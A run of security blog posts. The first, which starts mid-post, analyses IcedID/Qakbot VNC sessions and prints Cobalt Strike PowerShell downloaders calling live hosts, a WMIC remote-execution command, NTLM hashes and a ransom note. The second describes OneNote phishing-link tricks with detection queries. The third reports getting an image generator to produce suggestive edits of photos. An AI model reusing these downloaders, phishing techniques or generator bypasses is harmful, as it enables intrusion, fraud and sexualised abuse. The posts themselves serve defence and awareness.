Figure 8: The Keyhole (v1.3) HDESK session interface in gray-scaled color palette.
Figure 8: The Keyhole (v1.3) HDESK session interface in gray-scaled color palette.

Later-on, with v2.1, Keyhole renamed additional options and introduced the PowerShell and Desktop options. We assess with low confidence that the Desktop option only differs from the My Computer option by rendering the background as well, whereas the latter option was only seen generating desktop views without background image.

Figure 9: The Keyhole (v2.1) HDESK session interface.
Figure 9: The Keyhole (v2.1) HDESK session interface.

Modus Operandi

Obtaining recordings of threat actors operating is useful to understand which technical capabilities they are equipped with, but also allows the identification of TTPs (Tactics, Techniques & Procedures) they might employ. In the following section we will review some of the most re-occurring actions we observed IcedID and Qakbot operators perform through the above described backdoors.

🍯 Nothing confidential here…
All media published within this section were reconstructed from publicly published artifacts. As all information is public, we have refrained from redacting otherwise sensitive details such as company names and accounts.

Task Manager

To no surprise, the usage of the Task Manager to identify running software was extremely common. While hard to detect as operators did not attempt to interfere with security software, the usage of this graphical utility outlined one interesting drawback. On multiple (non-published) occasions we observed actors identifying known security tooling based on the process icon whereas other icon-less tooling blended in with many of Windows’ icon-less applications.

Figure 10: An Anubis operator performing interactive reconnaissance through the Task Manager.

Outlook

Another quite common technique was the inspection of Outlook, most likely to identify poorly-populated honeypot networks. As was the case for the Task Manager, the graphical usage of Outlook by the operator is indistinguishable from regular user activity. From the available recordings, no attempts were made to use Outlook for further phishing/spam.

Figure 11: An Dark Cat operator performing interactive reconnaissance through Outlook.
Figure 12: A Dark Cat operator inspecting Outlook's "Rules and Alerts" settings.
Figure 12: A Dark Cat operator inspecting Outlook’s “Rules and Alerts” settings.

On one singular instance, we observed the actor expressing interests in Outlook’s rules. The backdoor session was however terminated before they undertook any actions making it unclear whether this was part of the reconnaissance activities or were planning to set up malicious email redirection rules.

Web Browsers

From the available browsers, Edge and Chrome were the favorites. Using these, operators commonly validated the browser’s connectivity by accessing Amazon.

During one intrusion, the operator went as far as attempting to access the compromised user’s Amazon payment information. This attempt is a good reminder that beyond a user’s corporate identity, personal accounts are definitely at risk as well.

Figure 13: A Dark Cat operator accessing Amazon's "Your Payments" account page.
Figure 13: A Dark Cat operator accessing Amazon’s “Your Payments” account page.
Figure 14: A Keyhole operator inspecting Edge's version details.
Figure 14: A Keyhole operator inspecting Edge’s version details.

On some occasions operators accessed the edge://version URL. While this page exposes mostly useless information to attackers, the capture provides a sheer amount of uncommon flags usable for threat hunting.

Noteworthy is the Profile path located within the user’s temporary directory and passed using the --user-data-dir= flag, a pattern that from our available telemetry seems quite uncommon for msedge.exe in enterprise environments. The pattern is however occasionally used for applications such as opera_autoupdate.exe and msedgewebview2.exe.

Also worth noting is the usage of edge://settings/passwords to identify additional accounts.

Figure 14: A Keyhole operator interactively inspecting Edge's stored passwords.
Figure 14: A Keyhole operator interactively inspecting Edge’s stored passwords.
Figure 15: Edge displaying a warning banner due to the usage of an unsupported flag during a Dark Cat session.
Figure 15: Edge displaying a warning banner due to the usage of an unsupported flag during a Dark Cat session.

A final commonly observed pattern is the usage of the unsupported --no-sandbox command-line flag in Edge resulting in a notification banner. From our available telemetry in enterprise environments, the usage of this flag for Edge is uncommon, as opposed to Electron-based applications (including Microsoft Teams and WhatsApp) who extensively use it.

Explorer

Another commonly observed utility to inspect the compromised devices’ files and folders, including payloads dropped through other channels, is Windows Explorer. As was the case with Outlook, Explorer’s usage is indistinguishable from legitimate use making it a hard to detect technique.

Figure 16: A Keyhole operator interactively using Explorer to inspect folders.

Command Prompt

Last but not least, the command prompt was obviously used extensively. Usage of the command prompt is commonly leveraged for reconnaissance activities, including the usage of:

  • whoami /upn for system user discovery (T1033).
  • ipconfig for system network configuration discovery (T1016).
  • arp -a for both remote system discovery (T1018) and device identification based on the MAC address.
  • dir for file and directory discovery (T1083) over SMB (T1021.002).
  • nltest /dclist for the remote discovery of the domain controllers (T1018).
  • ping for network connectivity tests to remote systems (T1018).
  • PowerShell (T1059.001) to deploy Cobalt Strike.

As opposed to the previous mostly passive TTPs, the active usage of the Command Prompt and PowerShell is often where detection rules obtain a competing chance.

Figure 17: An Anubis operator performing initial reconnaissance using the Command Prompt in an HDESK session.

Clipboard Leaks

As VNC acts as a remote desktop solution, another trove of data was found within the clipboard synchronization feature. By copy/pasting between victim and attacker machines, operators exposed some additional TTPs and information surrounding their operations.

In this section we will expose the most common and interesting data found within their clipboards.

Cobalt Strike

As expected, many variations of Cobalt Strike downloaders were observed. These leveraged both IPs and domain names, as well as standard and non-standard ports such as HTTP on port 443 or HTTPS on port 8080.

IEX ((new-object net.webclient).downloadstring('http://89.163.251.143:80/a'))
IEX ((new-object net.webclient).downloadstring('http://146.0.72.85:443/waw')) 
IEX ((new-object net.webclient).downloadstring('https://searcher.host/a80lvl'))
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('https://solvesalesoft.com:8080/coin'))"

In some cases, the operators directly leveraged PowerShell shellcode stagers as shown in the following trimmed command.

powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPA...AGQAKAApADsA

For compromised accounts with sufficient access, WMIC commands were further issued to deploy Cobalt Strike on remote appliances.

C:\Windows\System32\wbem\wmic.exe /node:10.6.21.140 process call create "cmd.exe /c powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('https://solvesalesoft.com:8080/coin'))"""

Finally, although we were unable to identify which tooling would rely on such a format, actors leaked what appears to be a naming convention.

plugin_cobalt_126_8888
plugin_cobalt_126_8080
plugin_cobalt_126_443

Rundll32

Besides Cobalt Strike, operators exposed a DllRegisterServer command which Unit 42 observed being used with rundll32.exe and attributed to the deployment of a VNC backdoor.

DllRegisterServer --id %id% --group %group% --ip 87.120.8.190,158.69.133.70,185.106.120.99,45.14.226.195,103.124.106.154,149.3.170.201,5.181.80.103,89.41.182.242,172.83.155.186,45.42.201.179,194.15.112.223

NTLM Hashes

Another interesting finding was the presence of NTLM hashes within the clipboard data, exposing the compromise’s scope. In this case, the impacted organization was part of a honeypot environment.

DESKTOP-4GDQQL7\admin 4081e42481a5986e9bfcb7000bbe98f4
TECHHIGHWAY-DC\Administrator 4081e42481a5986e9bfcb7000bbe98f4
TECHHIGHWAY-DC\bennie.mcbride 4081e42481a5986e9bfcb7000bbe98f4
TECHHIGHWAY-DC\brenda.richardson 4081e42481a5986e9bfcb7000bbe98f4
TECHHIGHWAY-DC\daryl.wood 4081e42481a5986e9bfcb7000bbe98f4
TECHHIGHWAY\daryl.wood 4081e42481a5986e9bfcb7000bbe98f4
TECHHIGHWAY-DC\saul.underwood 4081e42481a5986e9bfcb7000bbe98f4
DESKTOP-4GDQQL7\WDAGUtilityAccount 7cd5fddee0cd00dde47014fe7f52faa4
TECHHIGHWAY-DC\krbtgt a7b565c147b69380d0b35f37ce478a1c

Attacker Notes

While the above findings do not aid attribution, one operator did leak their intrusion notes. Within these notes (“[...]” trimmed for readability) we can observe Russian annotations, commonly related to CIS-based crime groups, as well information on then-ongoing breaches. A couple of days after the network traffic was taken, two non-honeypot companies mentioned within these notes were listed on the Black Basta ransomware group’s leak site.

[...]
Hostname CTYMNGR1 =ist  ne v domene
Hostname PCCXCNAU001 (4)-no ad/da/error 
Hostname W10EQZAFI10027 -?ff ne prishla
Hostname NPD104 -24 host (7)
Hostname DESKTOP-3R921OV -small
[...]
Hostname CAS-TAB0010 [...] 28m 9prosto) yshla v off/sdelal zakrep MSNDevices? 
Hostname PC-REC-LEFT-10 --???? ? ?? ????
Hostname TRAINING - w craneserviceco.com 20m (???) razobral
[...]
Hostname RM6988 msystemscompany.com 32m (??????) ?????????? ? ???? ?? ?????????? ???????? + ???????? ??????? 
Hostname EXIRP316151 ?????? ?? ????? ???????
Hostname ADMIN201 ???? ? ???
[...]
Hostname ODSCHEDULING  [...] 12m work7---yshla v off
Hostname MDC1104 [...] 11m istok razobral

Ransom Notes

Another recovered artifact was a full ransom note where authors identified themselves as belonging to the Karakurt Team. While this note did not allow for the identification of its victim, it is further evidence of IcedID and Qakbot’s role within the access broker ecosystem.

Ok, you are reading this - so it means that we have your attention.
Here's the deal :
1. We breached your internal network and took control over all of your systems.
2. We analyzed and located each piece of more-or-less important files while spending weeks inside.
3. We exfiltrated anything we wanted (the total size of taken data exceeds 372 GB).

FAQ:
- Who the hell are you?
- The Karakurt Team. Pretty skilled hackers I guess.

- WHY ARE YOU DOING THIS?!??
- Our motivation is purely financial.

- We are going to report this to law enforcement.
- You surely can, but be ready that they will confiscate most of your IT infrastructure, and even if you will later change your mind and decide to pay - they will not let you.

- Who else already knows about the breach?
- Only You, who received the same message the same way. Nobody else. For now.

- What if I tell you that I do not care and going to ignore this incident.
- That's a very bad choice. If you will not contact us in a timely manner (by 07.01.2022) we will start notifying your employees, clients, partners, subcontractors and any other persons that should know how you treat your own corporate secrets and theirs.

- What if I will not contact you even after it?
- Than we shall move forward and start contacting your business competitors and list of anonymous inside traders we deal with, to find out if they are going to pay us for your data. When the list of the people who is interested in such data is formed - the closed online auction starts.

- None will buy what you took! I do not believe you!
- If the auction fails - we will just leak everything online, making sure that this leak goes straight to the press. We will make sure that your business will bleed by using any power we have in our posession, both social and technical.

- What happens if I pay?
- Nothing bad will happen.
We will remove everything we took from your network and leave you be.
We will provide the confirmation that the data is deleted.
We will help you to close technical vulnerabilities you have and provide some insight on how to avoid such incidents if some other perpetrator is interested in you.
We will never tell anybody about it.

- We understand. We are ready to move forward.
- You will find the Access Code at the end of this file, you will need this one to get in contact with us for further instructions

To contact us using this ID you should do the following :
1. Download Tor browser - https://www.torproject.org and install it.
2. Open link in TOR browser - https://omx5iqrdbsoitf3q4xexrqw5r5tfw7vp3vl3li3lfo7saabxazshnead.onion
3. Insert Access Code 70fdca335aa3fd45a182f39b2592a5d0 inside the field on the page and click Enter.
4. The chat window will open and we will be able to communicate through a secured channel.

This link is available via "Tor Browser" only!


As a gesture of goodwill, we are ready to give you another leak - it is exclusive and fresh as well. Just let us know if you are interested in cooperation.

Key Takeaways

While it may not be complex to detect IcedID or Qakbot itself (any modern EDR should detect the rundll32.exe abuse), distinguishing which interactive actions were taken through a VNC backdoor does pose challenges. Focus is often put on command-based executions without considering what could otherwise be considered legitimate user processes such as web browsers or Outlook. Understanding how these backdoors operate improve responsive and forensic capabilities by, for example, allowing the identification and explanation of Edge processes with unlikely or unsupported flags.

This blog post further outlined the capability of network-level visibility which, for complex or BYOD (Bring Your Own Device) environments, may cope with the lack of endpoint visibility. Within this spirit, we would like to outline the effectiveness of the Snort IDS rules published by Networkforensic with regards to the detection of IcedID command & control communications.

If you are facing challenges keeping your environment clean or need help due to a compromise, do not hesitate to reach out; NVISO can help!

Maxime Thiebaut

Maxime Thiebaut is a GCFA-certified researcher within NVISO Labs. He spends most of his time performing defensive research and responding to incidents. Previously, Maxime worked on the SANS SEC699 course. Besides his coding capabilities, Maxime enjoys reverse engineering samples observed in the wild.

OneNote Embedded URL Abuse

27 March 2023 at 07:00
OneNote Embedded URL Abuse

In my previous blogpost I described how OneNote is being abused in order to deliver a malicious URL. In response to this attack, helpnetsecurity recently reported that Microsoft is planning to release a fix for the issue in April this year. Currently, it’s still unknown what this fix will look like, but from helpnetsecurity’s post, it seems like Microsoft’s fix will focus on the OneNote embedded file feature.
During my testing, I discovered that there is another way to abuse OneNote to deliver malware: Using URLs. The idea is similar to how Threat Actors are already abusing URLs in HTML pages or PDFs. Where the user is presented with a fake warning or image to click on which would open the URL in their browser and loads a phishing page.

The focus of this blogpost will be on URLs withing a OneNote file that is delivered via an attachment. Not a URL that leads to OneNote online.

There are 3 ways to deliver URLs via a OneNote file.

  1. Just plainly paste your URL in the OneNote file (Clickable URL)
  2. Make some text (like “Open”) clickable with a malicious URL (Clickable text)
  3. Embed URLs in pictures (Clickable picture)

Now it is important to note that these 3 ways rely on social engineering and tricking the user to click your URL or picture, either via instructions or deceiving the user. We have seen this technique being used through OneDrive and SharePoint online already

So, let’s create some examples and see what this attack could look like.

URLs in OneNote

Clickable URLs

The most straightforward way is to just put a URL in a OneNote file. In an actual phishing email, the OneNote file will probably not just contain the URL alone. To make things more believable, Threat Actors could potentially write a small story or an “encrypted” message in the OneNote file (an example of this can be observed below). The idea would then be to convince the user into clicking the URL in order to “decrypt” the message. Once clicked on the URL, the user would then either have to download something or provide credentials to “log in”.

If you would like to read the message in the OneNote file, you would have to click the URL. Which could then lead to the download of a malicious file or a credential harvest page.
An example of such an “encrypted” message could be:

An example of a fake encrypted message where a user has to click a URL to decrypt it

Clickable text

Similar to clickable URLs, you can hide a URL behind normal text. Once you hover over the URL, you will see where it points towards. If the address points to wards a malicious domain that uses typo squatting (e.g. g00gle[.]com instead of google[.]com) then Threat Actors could fool the human eye.

The text “open” hiding a malicious URL


The issue here lies in the fact that once you click the “open” text, you will immediately be redirected to the website. There is no pop up asking if you really want to visit the website.
Taking this technique into account, it is also possible to use our “encrypted message” example from before and make the user think they will visit a legitimate page but embed a different URL:

The visible URL “https://microsoft.com&#8221; is hiding a malicious URL

Clickable Pictures

To create an embedded URL in a picture, right-click your picture, and Click “Link…”


Here you can put a URL to your malicious file or phishing page. Yes, you could spin this story so that you would have to authenticate and login, to your browser with a fake login website.
Do note that to open a URL that is embedded within a picture, you will need to hold the CTRL key and click the image. The phishing document will have to instruct the user to hold CTRL and click the picture; however, I do not see this as an obstacle for threat actors.

A picture with the button “open” that has an embedded malicious URL

Detection Capabilities

On OneNote Interaction

Opening the URL, will launch the default browser. This can be translated to OneNote spawning a child process, which is the browser. A full process flow could look something like this:

Process execution of explorer.exe > Outlook.exe > OneNote.exe > firefox.exe


Do note that, as typically done so by Outlook, once you click the file, it saves a copy in a temporary cache folder (depending on your version of outlook, this can be a slightly different place than is shown above here, but generally, you will have the name INetCache and Content.Outlook in the folder path.)

A quick hunting rule for this behaviour can be to look for the process tree that was observed before. This process tree can be adjusted to the needs of your environment, depending on what browser is being used (e.g. if you are running brave.exe, you should include this in the “FileName” section of the query)

DeviceProcessEvents
| where InitiatingProcessFileName contains "onenote.exe"
| where FileName has_any ("firefox.exe","msedge.exe","chrome.exe")

Now if you’d like a more “catch all” approach, the last line can be replaced with a query that looks at the command line and looks for http or other protocols like ftp, as both chromium & Firefox-based browsers accept URLs as a command line argument to open a specific website.

| where ProcessCommandLine has_any ("http","ftp")

On Email Delivery

During our tests, Microsoft Defender was unable to detect and extract the URLs that were embedded in the OneNote file, as can be observed in the screenshot below. Defender was unable to extract the URLs from the OneNote files, nor was it able to show that a URL was embedded in the file.

No URLs extracted from the OneNote Attachment


This also means that Microsoft does not create a safe link for the URL and thus a threat actor can bypass the “potential malicious URL clicked” alert which helps against phishing pages, as this looks at URL clicks, which is impossible if no URLs are detected

Conclusion

Whilst embedded files within OneNote are currently still a big threat, you shouldn’t forget that there are other ways of abusing OneNote features that can be used for malicious intent. As we observed, Microsoft does not extract the URLs from a OneNote file and there are multiple ways of avoiding detection & tricking the user into clicking a URL. From there, the same tactics are used to deliver second stage malware, be it via ISO file or ZIP file that contains malicious scripts.

Nicholas Dhaeyer

Nicholas Dhaeyer is a Threat Hunter for NVISO. Nicholas specializes in Threat Hunting, Malware analysis & Industrial Control System (ICS) / Operational Technology (OT) Security. Nicholas has worked in the NVISO SOC solving security incidents for our MDR clients. You can reach out to Nicholas via Twitter or LinkedIn

An Innocent Picture? How the rise of AI makes it easier to abuse photos online.

4 April 2023 at 08:15

Introduction

The topic of this blog post is not directly related to red teaming (which is my usual go-to), but something I find important personally. Last month, I gave an info session at a local elementary school to highlight the risks of public sharing of children’s pictures at school. They decided that instead of their photos being publicly accessible, changes would be implemented to restrict access to a subset of people. However, there are many more instances of excessive sharing of information online; photographers’ portfolios, youth/sports clubs, sharenting on social media, etc.

There are many risks stemming from this type of information being openly available, and the potential risks have only increased with the rise of artificial intelligence. Since you are reading this post on the NVISO blog, I’m assuming you are more cyber-aware than the average person out there and therefore perfectly positioned to use the takeaways from this post and spread the word to others. Obligatory Simpsons reference:

Since the children themselves may not have a say in the matter yet and the people who do may not be aware of the possible dangers, it’s up to us to think of the children!

Traditional Risks

When thinking of the risks linked to the presence of children’s pictures online, an obvious threat is the type of person that might drive a van like this:

There are three traditional risks we will be discussing here:

  • Kidnapping
  • Digital Kidnapping
  • Pornographic Collections

Kidnapping

How does a picture of a child pose a risk for physical kidnapping? First of all, a picture could give away a physical location, for example due to the presence of street signs/names, recognizable elements such as shops, bars, monuments, schools, etc. If this is a location frequented by the child, a possible child predator could identify an opportunity for kidnapping there.

In case no identifiable elements are present, certain people might still giveaway the location due to oversharing. Imagine a picture on a Facebook profile that is publicly accessible with comments such as “birthday party at …”, “visiting grandma & grandpa in …”, “always a fun day when we go to …”. Often-visited locations can be deduced from comments like these.

Finally, a more technical approach is looking at the picture’s metadata, which often gives information about the type of camera that was used, shutter time, lens, etc. but can also contain an exact location where the picture was taken. No additional research is required to figure out where the child has been.

Digital Kidnapping

With digital kidnapping, the victim is affected by some type of identity fraud. Pictures of the child are stolen and reused by people online on their own social media, often pretending to be related to the children. An example could be an adoption fantasy, reposting pictures of the child for likes and comments without the child or its parents knowing about this.

Another, more dangerous form of digital kidnapping consists of a sexual predator reusing the victim’s pictures to target other possible victims. Someone could pretend to be a young child themselves to lure other children into meeting with them online or sharing potentially explicit pictures.

Pornographic Collections

Continuing on the topic of potentially explicit pictures, it is not a secret that the Dark Web is full of pornographic pictures of children. However, pictures that you or I would not consider to be risky or explicit could end up in such collections as well. Holiday pictures of children in swimsuits are happily shared by child predators in an attempt to fulfill their fantasies. They search through social media to identify such pictures, sharing them among each other along with sexual fantasies. With pictures of a certain child, they might search for pictures of lookalike children to add to their fantasy. With only a textual story, they might search for pictures of children that match the story.

However, these risks have been existent for a number of years already. What’s more dangerous is that the life of a child predator looking for pictures has been facilitated with rise of artificial intelligence.

Next-gen Risks

So what is the problem with public pictures? Not only can they be retrieved by anyone browsing the web, but they can and will also be gathered by automated systems through concepts called spidering and scraping. These activities aren’t particularly nefarious and actually part of the regular functioning of the web, used by search engines for example. However, other applications can make use of these same techniques and have already done so to create massive collections of pictures, even those you would not expect to be public, such as medical records

Facial Recognition

One such example is ClearView AI, which is aimed at law enforcement by applying its facial recognition algorithm to a huge collection of facial images to help with investigative leads. However, for the broader public, a similar application has become available, allowing anyone to upload a picture and receive an overview of other pictures with matching faces. While probably having legitimate use cases, PimEyes provides people with less honorable intentions an easy way to add a high-tech touch to the traditional risks mentioned above. If you haven’t heard about PimEyes yet, it allows to upload a picture of someone’s face, after which the application will provide you with a collection of matching pictures. The tool is already quite controversial, as evidenced by the articles below:

As an example, we provided PimEyes with the face of the middle child selected from the stock photo on the left below, which resulted in a set of pictures containing the same child:

Of course, the algorithm identifies the pictures that are part of the same set of stock pictures. When trying this out with a private picture of someone, the set of results contained distinct public pictures with the same person. The algorithm was able to identify them in pictures of low quality or with the person wearing a hat or mouth mask covering a large part of the face. Scary stuff, especially considering what you could be able to do with this output:

  • Imagine a picture of a child without any hints towards the location (e.g. stolen from Facebook or other social media). Upload it to PimEyes and you might be able to link the child’s face to other public pictures where a location can easily be deducted (such as a school website for example). You now know locations where the child may frequently be present.
  • Remember in one of the previous paragraphs where we said “With pictures of a certain child, they might search for pictures of lookalike children to add to their fantasy.” Well, this type of technology automates the task.
  • Resources above mention a woman having found sexually explicit content through facial recognition. Imagine your child falling victim to revenge porn in the future and having those pictures exposed. Through PimEyes it may even be possible that such pictures are shown in the results together with pictures of when the victim was still a child.

Of course, in addition to these “extreme cases”, in the future it may very well be that possible employers don’t just google your name, but also search your face before an interview. The results may consist of shameful pictures you would rather not have an employer see. There could be a psychological effect as well; maybe in the past you were struggling with certain physical conditions (e.g. being overweight) or affected by other conditions which are no longer relevant at the time when someone tries to find your older pictures. Being confronted with that type of past content may be a painful experience.

Generation of previously non-existent content

We’ve all been playing around and having a lot of fun with ChatGPT, DALL-E, and other AI models. While it is is possible to generate a picture from a textual prompt, it is also possible to take an existing image and swap out parts of the image based on a textual prompt. What could possibly go wrong? OpenAI does mention following protections having been put in place: “… we filtered out violent and sexual images from DALL·E 2’s training dataset. Without this mitigation, the model would learn to produce graphic or explicit images when prompted for them, and might even return such images unintentionally in response to seemingly innocuous prompts … “ Let’s see what we are able to do with some stock photos.

Starting off from the same stock photo, I erased the bottom part – very amateuristically I admit – so that it can be completed again by DALL-E:

Using a fairly innocent prompt (“modify the image to portray the children at the beach in swimming gear”), which could however be the type of picture child predators are after, we get the following possible images (note that we have blurred the resulting images):

Alright, these first two images do indeed look like a fun day at the beach, with an inflatable tire, bucket, and what looks like sand. The third image on the other hand, did surprise me a bit. This time, the girls have received shorts and the middle child even has some cleavage generated (adding to our decision of blurring the image). Do note that this is the result with an innocent prompt, specifically mentioning it is about children, and with mitigations against the generation of explicit content built-in by removing sexual images from the training set. Let’s leave it at this for this photo and try to generate something a bit more suggestive starting from this stock picture resulting from “business woman” as a search term. When asking to “turn this into a pin-up model”, starting from just the neck and head, we are able to receive some spicier results:

So this is what we can create from a completely random picture on the internet without having any photo editing skills. Now imagine this result applied to pictures of children and the risks are obvious.

Taking things a step further, other applications may not have the same limitations applied to their training data and are as a result clearly biased towards female nudity. The popular avatar app “Lensa” is known to return nude or semi-nude variations of photos for female users, even when uploading childhood pictures, as evidenced in following articles:

Taking things another step further, certain apps or services are specifically aimed at the creation of sexually explicit content in the form of deepfakes. Deepfakes are computer-generated images or videos that make use of machine learning to replace the face or voice of someone with that of someone else. Usually this consists of fake pornographic material targeting celebrities. However, deepfake content of adult women personally known to the people wanting to create deepfakes is on the rise, in part due to the ease with which you can create such content or request to have this content created.

However, applying deepfake technology to photo or video content of children is unlikely to remain off-limits for some people and the report above states that already some of the victims of the DeepNude telegram bot appear to be under 18.

There is no doubt that artificial intelligence and machine learning are here to stay. With all of their legitimate and highly useful applications, there is inevitably the potential for abuse as well. The only thing we can do as cybersecurity professionals, parents, friends, … is limiting the attack surface as much as possible and trying to make those close to us aware of the dangers.

Tips on reducing the risks

Some general tips we can take into account to protect ourselves and our children include:

  • Determine for yourself and your children what kind of information you are willing to share online and make this desire clear to others. Respect other people’s wishes in this regard. Some people may not like it when you post a picture of them or their children on your social media, even if it is a group picture.
  • Share pictures privately instead of via social media, e.g. mail pictures of the birthday party to a selection of recipients instead of posting online.
  • If you do want to post pictures on your social media, limit the target audience to friends or people you know. As an extension, make sure you only accept connections of people you know.
  • Avoid metadata and limit details regarding location and other information that could give away a location. Some additional guidance on removing metadata provided by Microsoft here.

Conclusion

Public pictures can easily be scraped into huge collections that are used for different purposes. While traditional risks (such as sharing on the Dark Web) linked to pictures of children are well-known, emerging technologies such as artificial intelligence and machine learning have opened Pandora’s Box for potential abuse. These collections of gathered pictures can be used for facial recognition or generation of new, possibly explicit content. The resulting dangers may not only manifest now, but perhaps years in the future. As such, it is not only about protecting the child they are today, but also the adult they will become.

About the author

You can find Jonas on LinkedIn

Jonas Bauters

Jonas Bauters is a manager within NVISO, mainly providing cyber resiliency services with a focus on target-driven testing.
As the Belgian ARES (Adversarial Risk Emulation & Simulation) solution lead, his responsibilities include both technical and non-technical tasks. While occasionally still performing pass the hash (T1550.002) and pass the ticket (T1550.003), he also greatly enjoys passing the knowledge.


❌
❌